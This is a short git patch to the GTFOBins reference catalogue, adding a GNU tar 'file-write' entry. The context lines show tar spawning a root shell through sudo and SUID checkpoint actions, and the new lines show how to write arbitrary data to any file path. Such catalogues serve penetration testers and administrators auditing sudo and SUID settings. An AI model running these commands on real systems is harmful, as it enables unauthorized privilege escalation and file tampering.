From 1a739b4550c3573fd23e5c47b24fa62597f53760 Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Wed, 30 May 2018 00:46:04 +0200
Subject: [PATCH] Add tar file-write

---
 _gtfobins/tar.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md
index e823db5..f2afc76 100644
--- a/_gtfobins/tar.md
+++ b/_gtfobins/tar.md
@@ -6,4 +6,11 @@ functions:
     - code: sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
   suid-limited:
     - code: ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
+  file-write:
+    - description: This only works for GNU tar.
+      code: |
+        LFILE=file_to_write
+        TF=$(mktemp)
+        echo data > "$TF"
+        tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
 ---